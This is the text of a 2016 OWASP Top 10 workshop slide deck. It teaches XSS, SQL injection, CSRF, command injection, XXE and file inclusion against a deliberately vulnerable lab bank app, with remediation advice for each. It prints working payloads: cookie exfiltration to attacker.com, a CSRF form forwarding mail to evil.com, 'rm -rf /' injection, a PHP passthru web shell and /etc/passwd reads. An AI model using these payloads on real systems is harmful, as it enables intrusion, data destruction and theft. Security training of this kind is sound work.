Vous êtes sur la page 1sur 77

OWASP Top 10 Vulnerabilities

# From Discovery to Complete Exploitation

Adrian Furtună
Daniel Tomescu
root@bt:~# Agenda

# Internal Organization & Introduction


# About the OWASP Top10 Project
# Cross-Site Scripting
# SQL Injection
# Cross-Site Request Forgery
# OS Command Injection
# XML External Entity Attack
# Arbitrary File Read & Local File Inclusion
# Tools

2016 OWASP Top10 Workshop 2


root@bt:~# Internal Organization

# Fire-up your computers/laptops

# Download and start the virtual machine

# Feel free to interrupt and ask questions! Anytime!

# We can have short breaks as needed

# Everybody has to complete all challenges!

2016 OWASP Top10 Workshop 3


root@bt:~# Internal Organization – cont.
# Target application:
 NooBank

# Credentials:
 User: bonnie , Password: Bonni3
 User: clyde , Password: Clyd3

# Bank accounts:

> Bonnie:
 4916843735650523 (RON)
 4485580711356672 (EUR)

> Clyde:
 4068444801665127 (RON)
 4929497565335948 (EUR)

2016 OWASP Top10 Workshop 4


root@bt:~# Disclaimer

# This workshop is not technology-oriented.

> The studied vulnerabilities can be found in any web application,


independent of programming language.

# This is not a hacking course. Use this knowledge for good, not for evil 

2016 OWASP Top10 Workshop 5


root@bt:~# Whoami – Adrian Furtună

# Technical Manager – Security Services at KPMG Romania

# Leading the penetration testers team

# PhD, OSCP, CEH

# Speaker at security events and conferences:


 ZeroNights

 Hack.lu

 Hacktivity

 Nuit du Hack

 Defcamp

 OWASP Romania

# Lecturer at UPB and MTA, Information Security Master programs

# https://www.linkedin.com/in/adrianfurtuna

2016 OWASP Top10 Workshop 6


root@bt:~# Whoami – Daniel Tomescu
# Security Consultant – Security Services at KPMG Romania

> Most work duties revolve around application security and network penetration testing
# Engineer in Computer Science and Automatic Control, M.Sc. in Information Security and
Protection @ UPB

# ASP.NET programming background;

# Also interested in bug bounty programs, being mentioned in the Hall of Fame pages of:
 Mozilla
 Twitter
 Red Hat
 Vimeo
 HackerOne
# Speaker at Hacknet and OWASP Romania 2015

# Contact:

> https://www.linkedin.com/in/daniel-tomescu
> mail@daniel-tomescu.com, dtomescu@kpmg.com

2016 OWASP Top10 Workshop 7


root@bt:~# Agenda

# Internal Organization & Introduction


# About the OWASP Top10 Project
# Cross-Site Scripting
# SQL Injection
# Cross-Site Request Forgery
# OS Command Injection
# XML External Entity Attack
# Arbitrary File Read & Local File Inclusion
# Tools

2016 OWASP Top10 Workshop 8


root@bt:~# About the OWASP Top 10 project

# Community-driven project aimed at raising awareness on critical web


application vulnerabilities

# Multiple releases:

> 2013
> 2010
> 2007
> 2004
> 2003
# Find out more about the project here:

https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

2016 OWASP Top10 Workshop 9


root@bt:~# About OWASP Top 10 project – A1

# A1 - Injection
> Injection flaws, such as SQL, OS, and LDAP injection occur when untrusted data is sent to
an interpreter as part of a command or query. The attacker’s hostile data can trick the
interpreter into executing unintended commands or accessing data without proper
authorization.

> Examples:

 SQL injection

 OS command injection

 XML injection

 XPath injection

2016 OWASP Top10 Workshop 10


root@bt:~# About OWASP Top 10 project – A2

# A2 - Broken Authentication and Session Management


> Application functions related to authentication and session management are often not
implemented correctly, allowing attackers to compromise passwords, keys, or session
tokens, or to exploit other implementation flaws to assume other users’ identities.

> Examples:

 Unencrypted connections

 Session value does not timeout or does not get invalidated after timeout

 Credentials stored in unsafe ways

 Session ID in URL

 Broken ‘Forgot password’ implementation

2016 OWASP Top10 Workshop 11


root@bt:~# About OWASP Top 10 project – A3

# A3 - Cross-Site Scripting (XSS)


> XSS flaws occur whenever an application takes untrusted data and sends it to a web
browser without proper validation or escaping. XSS allows attackers to execute scripts in the
victim’s browser which can hijack user sessions, deface web sites, or redirect the user to
malicious sites.

2016 OWASP Top10 Workshop 12


root@bt:~# About OWASP Top 10 project – A4

# A4 - Insecure Direct Object References


> A direct object reference occurs when a developer exposes a reference to an internal
implementation object, such as a file, directory, or database key. Without an access control
check or other protection, attackers can manipulate these references to access unauthorized
data.

> Examples:

 http://www.vuln.com/download_report.aspx?file=report2.pdf

 http://www.vuln.com/user_data.jsp?folder=/images2016

2016 OWASP Top10 Workshop 13


root@bt:~# About OWASP Top 10 project – A5

# A5 - Security Misconfiguration
> Good security requires having a secure configuration defined and deployed for the
application, frameworks, application server, web server, database server, and platform.
Secure settings should be defined, implemented, and maintained, as defaults are often
insecure. Additionally, software should be kept up to date.

> Examples:

 Debugging enabled

 Incorrect folder permissions

 Using default accounts or passwords

 Setup / configuration pages accessible

 Administration interfaces accessible

2016 OWASP Top10 Workshop 14


root@bt:~# About OWASP Top 10 project – A6

# A6 - Sensitive Data Exposure


> Many web applications do not properly protect sensitive data, such as credit cards, health
records, tax IDs and authentication credentials. Attackers may steal or modify such weakly
protected data to conduct credit card fraud, identity theft, or other crimes. Sensitive data
deserves extra protection such as encryption at rest or in transit, as well as special
precautions when exchanged with the browser.

> Examples:

 Insufficient transport layer protection

 Insecure cryptographic storage

 Cached sensitive pages

2016 OWASP Top10 Workshop 15


root@bt:~# About OWASP Top 10 project – A7

# A7 - Missing Function Level Access Control


> Most web applications verify function level access rights before making that functionality
visible in the UI. However, applications need to perform the same access control checks on
the server when each function is accessed. If requests are not verified, attackers will be able
to forge requests in order to access functionality without proper authorization.

> Examples:

 Unprivileged users accessing privileged functionality (ex. via hidden URL)

 http://www.vuln.com/hidden_admin_link_which_nobodys_gonna_find/

 Lack of server-side access control when performing certain functionality

2016 OWASP Top10 Workshop 16


root@bt:~# About OWASP Top 10 project – A8

# A8 - Cross-Site Request Forgery (CSRF)


> A CSRF attack forces a logged-on victim’s browser to send a forged HTTP request, including
the victim’s session cookie and any other automatically included authentication information,
to a vulnerable web application. This allows the attacker to force the victim’s browser to
generate requests which the vulnerable application thinks that they originate from the victim.

2016 OWASP Top10 Workshop 17


root@bt:~# About OWASP Top 10 project – A9

# A9 - Using Components with Known Vulnerabilities


> Components, such as libraries, frameworks, and other software modules, almost always run
with full privileges. If a vulnerable component is exploited, such an attack can facilitate
serious data loss or server takeover. Applications using components with known
vulnerabilities may undermine application defenses and enable a range of possible attacks
and impacts.

> Examples:

 Heartbleed – buffer overflow vulnerability in OpenSSL library


 Shellshock – a shell command injection vulnerability in Bash command line interpreter
 XML parsers vulnerable to XXE attacks

2016 OWASP Top10 Workshop 18


root@bt:~# About OWASP Top 10 project – A10

# A10 - Unvalidated Redirects and Forwards


> Web applications frequently redirect and forward users to other pages and websites, and use
untrusted data to determine the destination pages. Without proper validation, attackers can
redirect victims to phishing or malware sites, or use forwards to access unauthorized pages.

> Examples:

 http://www.vuln.com/logout?redirect=/home

2016 OWASP Top10 Workshop 19


root@bt:~# Agenda

# Internal Organization & Introduction


# About the OWASP Top10 Project
# Cross-Site Scripting
# SQL Injection
# Cross-Site Request Forgery
# OS Command Injection
# XML External Entity Attack
# Arbitrary File Read & Local File Inclusion
# Tools

2016 OWASP Top10 Workshop 20


root@bt:~# XSS – Description

# Cross-Site Scripting (XSS) errors occur when:

> User input is included in HTML response pages


> User input can enter the application through GET/POST data, HTTP
headers (cookies, referer, user agent) etc.
# Risk:

> Attacker can execute arbitrary client-side scripts (i.e. JavaScript) in the
victim’s response pages
> Attacker can:
 Steal victim’s cookies and use them to log into the victim’s session
 Access private information from the victim’s response pages (username,
mail addresses, profile information, form data)
 Make requests to the server or other websites in the name of the user

2016 OWASP Top10 Workshop 21


root@bt:~# XSS – Description – cont.

# XSS Types:

> Reflected
> Stored
> DOM based

XSS attack overview

2016 OWASP Top10 Workshop 22


root@bt:~# XSS – Example

# Consider the following server-side code:


<%@ page language="java"%>
<html>
<body>
<% String query = request.getParameter("query"); %>
You searched for: <%= query %>
</body>
</html>

# And the corresponding legitimate user request:


http://vulnerable.com/search.jsp?query=minions

# This will hopefully lead to a response containing information related to


minions

2016 OWASP Top10 Workshop 23


root@bt:~# XSS – Example – cont.

# An attacker however might not be all that interested in minions. Instead, he


might be more interested in requests along the lines of:

http://vulnerable.com/search.jsp?query=<script>alert(‘Hello+world!’)</script>

# Which will lead to:

2016 OWASP Top10 Workshop 24


root@bt:~# XSS – Discovery

# Identify user inputs (i.e. GET/POST parameters etc.) that are reflected into response pages

# Identify filtered characters, if any; focus on: ‘ “ < >

# Try to proof that you can execute JavaScript

> Use Mozilla Firefox (does not have XSS protection by default)

# Example of attack vectors:

> “><script>alert(document.cookie)</script>
> <img src=x onerror=alert(1)>
> “ autofocus onfocus=“alert(document.cookie)
> “><script src=“http://attacker/xss.js”></script>

# Also, check out:


https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-
001)

2016 OWASP Top10 Workshop 25


root@bt:~# XSS – Exploitation

# Consider again the server-side code introduced earlier:


<%@ page language="java"%>
<html>
<body>
<% String query = request.getParameter("query"); %>
You searched for: <%= query %>
</body>
</html>

# What if an attacker makes the following request?


http://vulnerable.com/search.jsp?query=<script>document.write(‘<iframe
src=http://attacker.com/log.php?cookie=‘+document.cookie+‘"> </iframe>')</script>

2016 OWASP Top10 Workshop 26


root@bt:~# XSS – Exploitation – cont.

# It will lead to adding to the HTML document of an iframe element. This


iframe will point to the attacker’s website, sending the victim’s cookies to his
website.
The attacker can then store these cookies and use them later on to
authenticate in the victim’s session.

# Exploitation steps:

> Find vulnerable parameter


> Find the filtered characters and avoid them in your payload
> Find the page on which the script is executed
> Send the victim a URL to the vulnerable page and wait for the script to
be executed
# Also, check out:
https://www.owasp.org/index.php/Testing_for_Cross_site_scripting

2016 OWASP Top10 Workshop 27


root@bt:~# XSS – Remediation
# Never insert untrusted data, except in allowed locations

# HTML encode before inserting untrusted data into:

 HTML element content


 HTML attributes
 JavaScript dynamic code / data values
 HTML style property values
 Dynamic URLs

# Sanitize HTML markup with a library designed for the job

# Mitigations:

 HTTPOnly
 Content Security Policy

# Also, check out:


https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

2016 OWASP Top10 Workshop 28


root@bt:~# XSS – Remediation – cont.
HTML encoding examples:

JSP HTML Entities:


<%@ page language="java"%> <  &lt;
<%@taglib uri="http://java.sun.com/jsp/jstl/functions" prefix="fn" %> >  &gt;
<html> “  &quot;
<body> ‘  &amp;
<% String query = request.getParameter("query"); %>
You searched for: <%= ${fn:escapeXml(query)} %>
</body>
</html>

ASP PHP
<html> <html>
<body> <body>
<% query = Request.QueryString("query") %> <?php
You searched for: <%= Server.HTMLEncode(query) %> $query = $_GET[‘query’];
</body> echo “You searched for: ”.htmlentities($query);
</html> ?>
</body>
</html>

2016 OWASP Top10 Workshop 29


root@bt:~# XSS – Challenge 1

# Find and exploit the reflected XSS from the login page such that you create
a phishing page which steals the victim’s credentials:
> Prepare the phishing url and the destination web server
> Send the phishing url to the victim (your colleague) – use Firefox here!
> Wait for the credentials
# Version 1 - reflected XSS via GET request
# Version 2 - reflected XSS via POST request

# Windows web servers you can use:


> PHP built-in web server: http://windows.php.net/download/
(requires Visual C++ Redistributable 2015 x86)

> Usage example: php.exe -S localhost:80 -t C:\www

2016 OWASP Top10 Workshop 30


root@bt:~# XSS – Challenge 2

# Find and exploit the Stored XSS from the Payment History page of
NooBANK such that you steal the cookies of another user. Use those
cookies to login to the victim’s account:

> Make a payment to another account


> Inject the XSS vector
> Prepare the collector web server
> Wait for the cookies
> Insert the cookies in your web browser and start using the victim’s
session
# Can you steal money from the victim’s account (without having the
cookies)?

2016 OWASP Top10 Workshop 31


root@bt:~# Agenda

# Internal Organization & Introduction


# About the OWASP Top10 Project
# Cross-Site Scripting
# SQL Injection
# Cross-Site Request Forgery
# OS Command Injection
# XML External Entity Attack
# Arbitrary File Read & Local File Inclusion
# Tools

2016 OWASP Top10 Workshop 32


root@bt:~# SQL Injection – Description

# SQL injection errors occur when:

> Data enters a program from an untrusted


source (ex. user, file, network)
> The data is used to dynamically construct a SQL query
# Risk:

> Attacker executes arbitrary SQL commands on the database (read or


write)
> Attacker bypasses authentication mechanisms

# You can find out more about SQL injection here:


https://www.owasp.org/index.php/SQL_Injection

2016 OWASP Top10 Workshop 33


root@bt:~# SQL Injection – Example

# Consider the following server-side code:

<?php
$user_id = $_GET[‘user_id’];
$query = “SELECT name, address, amount FROM users WHERE (id=‘$user_id‘ AND name LIKE ‘adm%’)";
?>

# And a legitimate user request which looks like the following:

http://vulnerable.com/view_user.php?user_id=3

# Making this request will lead to the following query:

SELECT name, address, amount FROM users WHERE (id=‘3‘ AND name LIKE ‘adm%’);

2016 OWASP Top10 Workshop 34


root@bt:~# SQL Injection – Example – cont.

# Consider however a request which looks like the following:

http://vulnerable.com/view_user.php?user_id=3’

# Making this request will in turn lead to the following query:

SELECT name, address, amount FROM users WHERE (id=‘3’‘ AND name LIKE ‘adm%’);

# Most likely, running this query will lead to a response containing a message
similar to the following:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for
the right syntax to use near...

2016 OWASP Top10 Workshop 35


root@bt:~# SQL Injection – Discovery

# First step usually consists of trying to understand when the application


interacts with a DB Server in order to access data. Typical examples
include:

> Authentication forms - chances are that the user credentials are
checked against a database;
> Search engines - the string submitted by the user could be used in a
SQL query;
> E-Commerce sites - the products and their characteristics are very likely
to be stored in a database;

2016 OWASP Top10 Workshop 36


root@bt:~# SQL Injection – Discovery – cont.

# The second step consists of making a list of all input fields whose values
could be used in crafting a SQL query, including the hidden fields of POST
requests;

# The third step consists of testing the potentially vulnerable input fields
previously identified separately, trying to interfere with the query and to
generate an error.

In this context, testing usually consists of adding a single quote (') or a


semicolon (;) to the field or parameter under test.

2016 OWASP Top10 Workshop 37


root@bt:~# SQL Injection – Exploitation

# Let’s consider again the server-side code introduced earlier:


<?php
$user_id = $_GET['user_id'];
$query = “SELECT name, address, amount FROM users WHERE (id=' $user_id' AND name LIKE 'adm%')";
?>

# If an attacker makes the following request:

http://vulnerable.com/view_user.php?user_id =-1' ) UNION SELECT username, password, 0 FROM users


LIMIT 1 -- '

# This will lead to the following query:

SELECT name, address, amount FROM users WHERE (id=' -1') UNION SELECT username, password, 0
FROM users LIMIT 1 -- ' ' AND name LIKE 'adm%')

2016 OWASP Top10 Workshop 38


root@bt:~# SQL Injection – Exploitation – cont.

# Exploitation steps:

> Find database type (MySQL, MSSQL, Oracle, etc)


> Find current database name
> Find tables and columns of current database
> Construct valid queries to extract data

# You can learn more about SQL injection exploitation by accessing the
following resources:

https://www.owasp.org/index.php/Testing_for_SQL_Injection_(OTG-INPVAL-005)
http://pentestmonkey.net/category/cheat-sheet/sql-injection

2016 OWASP Top10 Workshop 39


root@bt:~# SQL Injection – Remediation

# The safest approaches when considering SQL injection prevention are:

> prepared statements (a.k.a. parameterized queries)


> stored procedures
# If, for some twisted reason, the above do not apply to you, consider
escaping all user supplied input

# Additional defenses:

> Least privilege


> Whitelist input validation
# More information on SQL injection prevention is available by accessing the
following resource:

https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet

2016 OWASP Top10 Workshop 40


root@bt:~# SQL Injection – Remediation – cont.

Prepared statements (parametrized queries) examples:

ASP.NET

PHP

2016 OWASP Top10 Workshop 41


root@bt:~# SQL Injection – Challenge 1

# Exploit the SQL injection from the Payment History page in order to extract
all the usernames and passwords of NooBank. Obtain the admin’s
password and login as admin.

> Obtain the current database


> Obtain a list of all tables
> Obtain a list of all columns of user’s table
> Construct a query which extracts the needed information

2016 OWASP Top10 Workshop 42


root@bt:~# SQL Injection – Challenge 2

# Exploit the SQL injection from the Payment History page in order to obtain
remote command execution on the web server.

> Write a php shell in the web server’s directory


> Hint 1: <?php passthru($_GET['cmd']); ?>
> Hint 2: select 'abcdef' into outfile '/var/www/file.txt'
> Call the php shell like http://192.168.125.137/shell.php?cmd=whoami

# What privileges did you obtain?

# Can you escalate?

2016 OWASP Top10 Workshop 43


root@bt:~# Agenda

# Internal Organization & Introduction


# About the OWASP Top10 Project
# Cross-Site Scripting
# SQL Injection
# Cross-Site Request Forgery
# OS Command Injection
# XML External Entity Attack
# Arbitrary File Read & Local File Inclusion
# Tools

2016 OWASP Top10 Workshop 44


root@bt:~# CSRF – Description

# CSRF is an attack that involves forcing a victim’s browser into sending


HTTP requests to a target destination without their knowledge or intent, with
the purpose of performing some action.

# The underlying cause is application functionality using predictable URL/form


actions in a repeatable way.

# In other words, CSRF exploits the trust that a web site has for a user’s
browser.

# Also known as XSRF, one-click attack, session riding, confused deputy, or


sea surf.

2016 OWASP Top10 Workshop 45


root@bt:~# CSRF – Description – cont.

2016 OWASP Top10 Workshop 46


root@bt:~# CSRF – Example

# Consider a web site that allows users to configure their web-based email
account to forward all incoming email to an alternative address:

<form action=“/account/edit” method=“post”>


<p>Email: <input type=“text” name=“fwd_email” /></p>
<p><input type=“submit” /></p>
</form>

# By viewing this HTML code, we can deduce that a legitimate request will
have a format similar to the following:

POST /account/edit HTTP/1.1


Host: example.org
Content-Type: application/x-www-form-urlencoded
Content-Length: 19
Cookie: JSESSIONID=1234

fwd_email=chris%40example.tld

2016 OWASP Top10 Workshop 47


root@bt:~# CSRF – Example – cont.

# An attacker could then host code that will silently forward email messages
of any users that visit his page while remaining logged in to the target web
application.

# And the attacker code might be an innocent-looking web page such as:

<html>
<body onload=“document.csrf.submit()”>
<form action=“http://example.org/account/edit” name=“csrf” method=“post”>
<input type="hidden" name=“fwd_email" value=“attacker@evil.com” />
</form>
</body>
</html>

2016 OWASP Top10 Workshop 48


root@bt:~# CSRF – Discovery

# Learn requests in the restricted (authenticated) area of the target application

# Construct a Proof of Concept in the following manner:

> Let u = http://www.example.com/action be a sensitive request;


> Build an html page containing the request referencing u and make sure
you specify all relevant parameters;
> Determine the victim to access the html page containing the request
referencing u;
 Make sure that the victim user is logged on the application during that time
> Observe the result, i.e. check if the web server executed the request.
# Also, check out:

https://www.owasp.org/index.php/Testing_for_CSRF_(OTG-SESS-005)

2016 OWASP Top10 Workshop 49


root@bt:~# CSRF – Remediation

# Synchronizer Token Pattern

> Generate random "challenge" tokens that are associated with the user's
current session.
> These challenge tokens are then inserted within the HTML forms and
links associated with sensitive server-side operations.
> When the user wishes to invoke these sensitive operations, the HTTP
request should include this challenge token.
> It is then the responsibility of the server application to verify the
existence and correctness of this token.
# Check The Referer Header

# More information on CSRF remediation is available here:

https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet

2016 OWASP Top10 Workshop 50


root@bt:~# CSRF – Challenge

# Find and exploit the CSRF vulnerability from the User Management page
(admin interface) in order to add a new administrator account automatically:

> Prepare an auto-submit form with the right parameters


> Host the malicious form (html) on another web server
> Send a link to the administrator pointing to the malicious page
> Login as the new admin

2016 OWASP Top10 Workshop 51


root@bt:~# Agenda

# Internal Organization & Introduction


# About the OWASP Top10 Project
# Cross-Site Scripting
# SQL Injection
# Cross-Site Request Forgery
# OS Command Injection
# XML External Entity Attack
# Arbitrary File Read & Local File Inclusion
# Tools

2016 OWASP Top10 Workshop 52


root@bt:~# OS Command Injection – Description

# OS Command Injection is a type of vulnerability which allows an attacker to


execute commands on the OS the web server is running on.

# The is yet another vulnerability which occurs due to the use of user-supplied
input without proper validation.

# Depending on the severity, it can lead to:

> Upload malicious programs


> Obtain user credentials
> Pivot to the the internal network

2016 OWASP Top10 Workshop 53


root@bt:~# OS Command Injection – Example

# Consider the following server-side code:


<%
String username = request.getParameter("user");
Runtime rt = Runtime.getRuntime();
Process p = rt.exec("ls -l /home/" + userName);
...
%>

# And a legitimate user’s request which looks like:


http://example.com/index.jsp?user=bob

# When making such a request, the server-side logic will reduce to:
…exec(“ls –l /home/bob/”)

2016 OWASP Top10 Workshop 54


OS Command Injection – Example –
root@bt:~#
cont.

# An attacker’s request however might look more like the following:


http://example.com/index.jsp?user=;rm –rf /

# Which will results in:

…exec(“ls –l /home/;rm –rf /”)

2016 OWASP Top10 Workshop 55


root@bt:~# OS Command Injection – Discovery
# Identify the application functionality where parameters may be included in an OS command
(ex. reading files from disk, writing config files, etc).

# Depending on the application software stack, different payloads might trigger the
vulnerability:
> http://example.com/index.jsp?user=; ls –al (command concatenation)

> http://example.com/index.jsp?user=`cat /etc/passwd` (command substitution)

> http://example.com/index.jsp?user=$(ls –al) (command substitution)

> http://example.com/index.jsp?user=| ping –c 3 attacker.com (pipe output to command)

> http://example.com/index.jsp?user=& ping –c 3 attacker.com (put first command in background and


execute additional command)

> http://example.com/index.jsp?user=&& /sbin/ifconfig (execute additional command)

# Also, check out:


https://www.owasp.org/index.php/Testing_for_Command_Injection_(OTG-INPVAL-
013)

2016 OWASP Top10 Workshop 56


root@bt:~# OS Command Injection – Remediation

# Try to avoid process execution methods that run through the shell, but they create the process
directly:

> Java: ProcessBuilder


> Java: Runtime.exec(String[])

# Sanitize user input for invalid characters using dedicated functions.


 PHP example: system(escapeshellcmd($command));

# Whitelist allowable characters. Characters that were missed, as well as undiscovered threats,
should be eliminated by this list.

# A “blacklist” of characters is an option (the last one) but it may be difficult to think of all of the
characters to validate against. Also there may be some that were not discovered as of yet.

# Also, the web application and its components should be running under strict permissions, with
minimum necessary privileges.

2016 OWASP Top10 Workshop 57


root@bt:~# OS Command Injection – Challenge

# Find and exploit the OS command injection from the Application Logs page
(admin interface) in order to execute arbitrary commands on the operating
system.

> List files in the current directory


> View transaction reports of other users (saved on disk)
> Add a backdoor script to the website:
echo "<?php passthru(\$_GET['cmd']); ?>" > shell.php

2016 OWASP Top10 Workshop 58


root@bt:~# Agenda

# Internal Organization & Introduction


# About the OWASP Top10 Project
# Cross-Site Scripting
# SQL Injection
# Cross-Site Request Forgery
# OS Command Injection
# XML External Entity Attack
# Arbitrary File Read & Local File Inclusion
# Tools

2016 OWASP Top10 Workshop 59


root@bt:~# XML External Entity Attack - Description

# An attack which targets applications that parse XML input.

# The attack occurs when XML input containing references to external


entities is processed by a weakly configured XML parser.

# The attack may lead to:


 Disclosure of confidential data
 Server side request forgery
 Internal network port scanning
 Denial of service

# Also, check out:


https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing

2016 OWASP Top10 Workshop 60


root@bt:~# XML External Entity Attack - Example

# Consider the following XML sent in a POST request to a web application:

<?xml version="1.0">
<foo>bar</foo>

# What do you believe will happen if we send the following XML instead?

<?xml version="1.0">
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/issue" >
]>
<foo>&xxe;</foo>

2016 OWASP Top10 Workshop 61


root@bt:~# XML External Entity Attack - Discovery

# Try to identify all application functionalities which involve the consumption of


XML files

# Intercept the requests and try to alter the legitimate XML. Your goal is to
extend the valid entities by defining new entities.

# For more details, check out:


https://www.owasp.org/index.php/Testing_for_XML_Injection_(OTG-INPVAL-008)

2016 OWASP Top10 Workshop 62


root@bt:~# XML External Entity Attack - Remediation

# Disable DTDs (External Entities) completely. This is, of course, parser


dependent.

# For .NET, check out the following resources:

https://msdn.microsoft.com/en-us/magazine/ee335713.aspx
https://www.jardinesoftware.net/2016/05/26/xxe-and-net/

# For other parsers, platforms, see:


https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sh
eet
2016 OWASP Top10 Workshop 63
root@bt:~# XML External Entity Attack - Challenge

# Find and exploit the XXE from the Import Payment File page in order to list
the contents of the /etc/passwd system file.

> Download the Payment File Example


> Add malicious entities which allows you to read the contents of the
target file
> Send the modified file to the application

2016 OWASP Top10 Workshop 64


root@bt:~# Agenda

# Internal Organization & Introduction


# About the OWASP Top10 Project
# Cross-Site Scripting
# SQL Injection
# Cross-Site Request Forgery
# OS Command Injection
# XML External Entity Attack
# Arbitrary File Read & Local File Inclusion
# Tools

2016 OWASP Top10 Workshop 65


root@bt:~# Arbitrary File Read – Challenge

# Find and exploit the Arbitrary File Read vulnerability from the Payment
History page in order to:

> Read arbitrary files from disk


 /etc/passwd
 PHP files
> What are the MySql username and password used by the application?

2016 OWASP Top10 Workshop 66


root@bt:~# LFI – Description

# LFI is a type of vulnerability which allows an attacker to include a file,


usually by exploiting “dynamic file inclusion” mechanisms implemented in
the target applications.

# The vulnerability occurs due to the use of user-supplied input without proper
validation.

# Depending on the severity, it can lead to:

> Outputting the contents of a file


> Code execution on the OS the web server is running on
> Sensitive information disclosure

2016 OWASP Top10 Workshop 67


root@bt:~# LFI – Example

# Consider the following server-side code:


<?php
$file = $_GET['file'];

if (isset($file)) {
include("pages/$file");
} else {
include("index.php");
}
?>

# By viewing this code, we can deduce that a legitimate request will have a
format similar to the following:

http://example.com/index.php?file=contactus.php

2016 OWASP Top10 Workshop 68


root@bt:~# LFI – Example

# An attacker request however might look more like the following:


http://example.com/index.php?file=../../../../etc/passwd

# Issuing such a request is likely to lead to a response similar to the following:

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
alex:x:500:500:alex:/home/alex:/bin/bash
margo:x:501:501::/home/margo:/bin/bash

2016 OWASP Top10 Workshop 69


root@bt:~# LFI – Discovery

# As hinted in the previous example, you should:

> Look for scripts which take filenames as parameters


> Depending on the platform, replace the query string values with a
payload such as:
 ../../../../etc/passwd
 ../../../../../../boot.ini
# You should also check out the following resource:

https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion

2016 OWASP Top10 Workshop 70


root@bt:~# LFI – Challenge

# Find and exploit the LFI vulnerability from the About page in order to:

> Read arbitrary files from disk


> Execute PHP code and take over the server
 Use the report generation functionality
 Include something like <?php passthru($_GET['cmd'])?>

2016 OWASP Top10 Workshop 71


root@bt:~# LFI – Remediation

# Avoid directly passing user-submitted input to any function that handles files
(read, write, append, etc);

> Use an identifier instead (for example the index number) to access the
selected file

# If this is not possible, whitelist the files that may be included by the page;

# Any request containing an invalid file identifier has to be rejected.

2016 OWASP Top10 Workshop 72


root@bt:~# Business Logic Flaw – Challenge

# Make yourself a NooBANK billionaire !!!

> Just using a web browser

2016 OWASP Top10 Workshop 73


root@bt:~# Agenda

# Internal Organization & Introduction


# About the OWASP Top10 Project
# SQL Injection
# Cross-Site Request Forgery
# OS Command Injection
# XML External Entity Attack
# Arbitrary File Read & Local File Inclusion
# Tools

2016 OWASP Top10 Workshop 74


root@bt:~# Open Source/Free Tools

# Local proxies

> ZAP Proxy https://github.com/zaproxy/zaproxy


> Burp Suite (Free) https://portswigger.net/burp/
> Fiddler http://www.telerik.com/fiddler

# Automated vulnerability scanners

> Arachni Scanner http://www.arachni-scanner.com/


> W3AF http://w3af.org/
> Sqlmap http://sqlmap.org/
> Nikto https://cirt.net/Nikto2

2016 OWASP Top10 Workshop 75


root@bt:~#

Q&A

2016 OWASP Top10 Workshop 76


root@bt:~#

THE END

Thank you!

Adrian Furtună Daniel Tomescu


afurtuna@kpmg.com dtomescu@kpmg.com

2016 OWASP Top10 Workshop 77